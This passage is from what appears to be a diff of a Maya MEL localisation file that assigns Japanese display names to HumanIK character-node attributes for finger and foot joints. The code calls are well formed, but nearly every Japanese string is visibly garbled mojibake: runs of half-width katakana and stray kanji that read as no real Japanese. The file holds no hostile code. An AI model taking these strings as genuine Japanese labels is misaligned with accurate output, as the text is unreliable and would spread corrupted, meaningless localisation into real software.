"モメスナチヨコ 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MinRLimitx", "モメスナチヨコ 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MinRLimity", "モメスナチヨコ 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MinRLimitz", "モメスナチヨコ 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MaxRLimit", "モメスナチヨコ 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MaxRLimitx", "モメスナチヨコ 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MaxRLimity", "モメスナチヨコ 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MaxRLimitz", "モメスナチヨコ 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MinRLimitEnablex", "ニモテモメスナチヨコ 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MinRLimitEnabley", "ニモテモメスナチヨコ 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MinRLimitEnablez", "ニモテモメスナチヨコ 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MaxRLimitEnablex", "ニモテモメスナチヨコ 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MaxRLimitEnabley", "ニモテモメスナチヨコ 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MaxRLimitEnablez", "ニモテモメスナチヨコ 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumb", "ラハヨトエヨクトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbT", "ラハヨトエヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbTx", "ラハヨトエヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbTy", "ラハヨトエヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbTz", "ラハヨトエヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbR", "ラハヨトエヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRx", "ラハヨトエヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRy", "ラハヨトエヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRz", "ラハヨトエヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbS", "ラハヨトエヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbSx", "ラハヨトエヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbSy", "ラハヨトエヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbSz", "ラハヨトエヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRotateOrder", "ラハヨトエヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRotateAxis", "ラハヨトエヨクトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRotateAxisx", "ラハヨトエヨクトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRotateAxisy", "ラハヨトエヨクトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbRotateAxisz", "ラハヨトエヨクトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbJointOrient", "ラハヨトエヨクトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbJointOrientx", "ラハヨトエヨクトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbJointOrienty", "ラハヨトエヨクトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbJointOrientz", "ラハヨトエヨクトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMinRLimit", "ラハヨトエヨクトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMinRLimitx", "ラハヨトエヨクトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMinRLimity", "ラハヨトエヨクトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMinRLimitz", "ラハヨトエヨクトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMaxRLimit", "ラハヨトエヨクトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMaxRLimitx", "ラハヨトエヨクトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMaxRLimity", "ラハヨトエヨクトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMaxRLimitz", "ラハヨトエヨクトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMinRLimitEnablex", "ニモテラハヨトエヨクトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMinRLimitEnabley", "ニモテラハヨトエヨクトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMinRLimitEnablez", "ニモテラハヨトエヨクトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMaxRLimitEnablex", "ニモテラハヨトエヨクトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMaxRLimitEnabley", "ニモテラハヨトエヨクトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandThumbMaxRLimitEnablez", "ニモテラハヨトエヨクトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndex", "ラハヨハウヨクトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexT", "ラハヨハウヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexTx", "ラハヨハウヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexTy", "ラハヨハウヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexTz", "ラハヨハウヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexR", "ラハヨハウヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRx", "ラハヨハウヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRy", "ラハヨハウヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRz", "ラハヨハウヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexS", "ラハヨハウヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexSx", "ラハヨハウヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexSy", "ラハヨハウヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexSz", "ラハヨハウヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRotateOrder", "ラハヨハウヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRotateAxis", "ラハヨハウヨクトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRotateAxisx", "ラハヨハウヨクトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRotateAxisy", "ラハヨハウヨクトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexRotateAxisz", "ラハヨハウヨクトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexJointOrient", "ラハヨハウヨクトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexJointOrientx", "ラハヨハウヨクトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexJointOrienty", "ラハヨハウヨクトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexJointOrientz", "ラハヨハウヨクトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMinRLimit", "ラハヨハウヨクトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMinRLimitx", "ラハヨハウヨクトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMinRLimity", "ラハヨハウヨクトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMinRLimitz", "ラハヨハウヨクトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMaxRLimit", "ラハヨハウヨクトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMaxRLimitx", "ラハヨハウヨクトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMaxRLimity", "ラハヨハウヨクトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMaxRLimitz", "ラハヨハウヨクトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMinRLimitEnablex", "ニモテラハヨハウヨクトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMinRLimitEnabley", "ニモテラハヨハウヨクトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMinRLimitEnablez", "ニモテラハヨハウヨクトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMaxRLimitEnablex", "ニモテラハヨハウヨクトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMaxRLimitEnabley", "ニモテラハヨハウヨクトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandIndexMaxRLimitEnablez", "ニモテラハヨハウヨクトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddle", "ラハヨヨミヨクトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleT", "ラハヨヨミヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleTx", "ラハヨヨミヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleTy", "ラハヨヨミヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleTz", "ラハヨヨミヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleR", "ラハヨヨミヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRx", "ラハヨヨミヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRy", "ラハヨヨミヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRz", "ラハヨヨミヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleS", "ラハヨヨミヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleSx", "ラハヨヨミヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleSy", "ラハヨヨミヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleSz", "ラハヨヨミヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRotateOrder", "ラハヨヨミヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRotateAxis", "ラハヨヨミヨクトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRotateAxisx", "ラハヨヨミヨクトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRotateAxisy", "ラハヨヨミヨクトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleRotateAxisz", "ラハヨヨミヨクトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleJointOrient", "ラハヨヨミヨクトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleJointOrientx", "ラハヨヨミヨクトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleJointOrienty", "ラハヨヨミヨクトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleJointOrientz", "ラハヨヨミヨクトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMinRLimit", "ラハヨヨミヨクトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMinRLimitx", "ラハヨヨミヨクトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMinRLimity", "ラハヨヨミヨクトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMinRLimitz", "ラハヨヨミヨクトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMaxRLimit", "ラハヨヨミヨクトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMaxRLimitx", "ラハヨヨミヨクトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMaxRLimity", "ラハヨヨミヨクトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMaxRLimitz", "ラハヨヨミヨクトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMinRLimitEnablex", "ニモテラハヨヨミヨクトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMinRLimitEnabley", "ニモテラハヨヨミヨクトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMinRLimitEnablez", "ニモテラハヨヨミヨクトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMaxRLimitEnablex", "ニモテラハヨヨミヨクトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMaxRLimitEnabley", "ニモテラハヨヨミヨクトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandMiddleMaxRLimitEnablez", "ニモテラハヨヨミヨクトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRing", "ラハヨボテヨクトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingT", "ラハヨボテヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingTx", "ラハヨボテヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingTy", "ラハヨボテヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingTz", "ラハヨボテヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingR", "ラハヨボテヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRx", "ラハヨボテヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRy", "ラハヨボテヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRz", "ラハヨボテヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingS", "ラハヨボテヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingSx", "ラハヨボテヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingSy", "ラハヨボテヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingSz", "ラハヨボテヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRotateOrder", "ラハヨボテヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRotateAxis", "ラハヨボテヨクトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRotateAxisx", "ラハヨボテヨクトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRotateAxisy", "ラハヨボテヨクトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingRotateAxisz", "ラハヨボテヨクトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingJointOrient", "ラハヨボテヨクトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingJointOrientx", "ラハヨボテヨクトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingJointOrienty", "ラハヨボテヨクトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingJointOrientz", "ラハヨボテヨクトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMinRLimit", "ラハヨボテヨクトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMinRLimitx", "ラハヨボテヨクトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMinRLimity", "ラハヨボテヨクトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMinRLimitz", "ラハヨボテヨクトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMaxRLimit", "ラハヨボテヨクトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMaxRLimitx", "ラハヨボテヨクトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMaxRLimity", "ラハヨボテヨクトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMaxRLimitz", "ラハヨボテヨクトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMinRLimitEnablex", "ニモテラハヨボテヨクトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMinRLimitEnabley", "ニモテラハヨボテヨクトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMinRLimitEnablez", "ニモテラハヨボテヨクトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMaxRLimitEnablex", "ニモテラハヨボテヨクトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMaxRLimitEnabley", "ニモテラハヨボテヨクトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandRingMaxRLimitEnablez", "ニモテラハヨボテヨクトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinky", "ラハヨミ。ヨクトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyT", "ラハヨミ。ヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyTx", "ラハヨミ。ヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyTy", "ラハヨミ。ヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyTz", "ラハヨミ。ヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyR", "ラハヨミ。ヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRx", "ラハヨミ。ヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRy", "ラハヨミ。ヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRz", "ラハヨミ。ヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyS", "ラハヨミ。ヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkySx", "ラハヨミ。ヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkySy", "ラハヨミ。ヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkySz", "ラハヨミ。ヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRotateOrder", "ラハヨミ。ヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRotateAxis", "ラハヨミ。ヨクトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRotateAxisx", "ラハヨミ。ヨクトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRotateAxisy", "ラハヨミ。ヨクトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyRotateAxisz", "ラハヨミ。ヨクトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyJointOrient", "ラハヨミ。ヨクトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyJointOrientx", "ラハヨミ。ヨクトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyJointOrienty", "ラハヨミ。ヨクトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyJointOrientz", "ラハヨミ。ヨクトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMinRLimit", "ラハヨミ。ヨクトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMinRLimitx", "ラハヨミ。ヨクトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMinRLimity", "ラハヨミ。ヨクトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMinRLimitz", "ラハヨミ。ヨクトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMaxRLimit", "ラハヨミ。ヨクトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMaxRLimitx", "ラハヨミ。ヨクトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMaxRLimity", "ラハヨミ。ヨクトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMaxRLimitz", "ラハヨミ。ヨクトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMinRLimitEnablex", "ニモテラハヨミ。ヨクトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMinRLimitEnabley", "ニモテラハヨミ。ヨクトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMinRLimitEnablez", "ニモテラハヨミ。ヨクトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMaxRLimitEnablex", "ニモテラハヨミ。ヨクトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMaxRLimitEnabley", "ニモテラハヨミ。ヨクトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandPinkyMaxRLimitEnablez", "ニモテラハヨミ。ヨクトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFinger", "ラハヨチヨクトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerT", "ラハヨチヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerTx", "ラハヨチヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerTy", "ラハヨチヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerTz", "ラハヨチヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerR", "ラハヨチヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRx", "ラハヨチヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRy", "ラハヨチヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRz", "ラハヨチヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerS", "ラハヨチヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerSx", "ラハヨチヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerSy", "ラハヨチヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerSz", "ラハヨチヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateOrder", "ラハヨチヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateAxis", "ラハヨチヨクトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateAxisx", "ラハヨチヨクトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateAxisy", "ラハヨチヨクトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateAxisz", "ラハヨチヨクトレイ獎ラェヨ痙" ); 